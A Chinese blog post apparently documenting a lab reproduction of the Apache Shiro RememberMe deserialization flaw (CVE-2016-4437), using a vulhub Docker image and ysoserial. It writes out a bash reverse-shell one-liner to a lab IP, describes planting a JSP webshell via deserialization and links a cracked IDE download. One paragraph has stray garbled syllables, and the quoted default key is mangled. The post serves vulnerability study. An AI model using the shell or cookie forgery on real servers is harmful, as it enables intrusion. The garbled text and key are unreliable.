美文网首页
2021-02-03 Shiro序列化漏洞复现

2021-02-03 Shiro序列化漏洞复现

作者: 胖渣大橘子 | 来源:发表于2021-02-03 23:35 被阅读0次

shiro漏洞概述

Shiro提供了记住我(RememberMe)的功能,比如访问如淘宝等一些网站时,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,但是设计到一些支付等敏感操作时,可能还需要再次验证。

而shiro默认使用了CookieRememberMeManager接口,就是rememberme功能,。

其处理cookie的流程是: 得到rememberMe的cookie值,先进行Base64解码,再进行AES解密,最后进行反序列化。

但是shiro本身有一个预设密钥Base64.decode(“kPH bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是这点,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令

漏洞影响

Apache Shiro <= 1.2.4

事实上,只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

shell反弹

https://blog.csdn.net/qq_33020901/article/details/78600382

bash -i >&/dev/tcp/192.168.190.138/6666 0>&1

对于速食主义者,后面的内容可以选择忽略

命令 解释
bash -i 产生一个交互式bash
>& /dev/tcp/ip/port 建立TCP连接,并将标准输出和错误重定向到TCP连接
0>&1 从TCP连接获取输入

java反射

1.反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

反序列化bai顾名思义就是用二进duzhi的形式dao来生成文件,zhuan由于common-collections.jar几乎在所有项目shu里都会dao被用到,所以当这个漏洞被发现并在这个jar包内实现攻击时,几乎影响了一大批的项目,weblogic的中枪立刻提升了这个漏洞的等级(对weblogic不熟悉的可以百度)。
至于如何使用这个漏洞对系统发起攻击,举一个简单的例子,我通过本地java程序将一个带有后门漏洞的jsp(一般来说这个jsp里的代码会是文件上传和网页版的SHELL)序列化,将序列化后的二进制流发送给有这个漏洞的服务器,服务器会自动根据流反序列化的结果生成文件,然后就可以大摇大摆的直接访问这个生成的JSP文件把服务器当后花园了

其他概念

  • 认证
  • 授权
  • 网站登陆身份验证
  • Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
  • 攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。

其他环境准备

*idea破解版
https://www.jb51.net/softs/758790.html#downintro2

shiro漏洞后台环境

docker-compose.yml

version: '2'
services:
 web:
   image: vulhub/shiro:1.2.4
   ports:
    - "8080:8080"

运行docker

docker-compose -f docker-compose.yml up

java序列化工具或者可以直接下载相应jar包使用

ysoserial
进到target文件路径下,利用相关jar包来生成.ser序列化文件

相关文章

网友评论

      本文标题:2021-02-03 Shiro序列化漏洞复现

      本文链接:https://www.haomeiwen.com/subject/nmdvtltx.html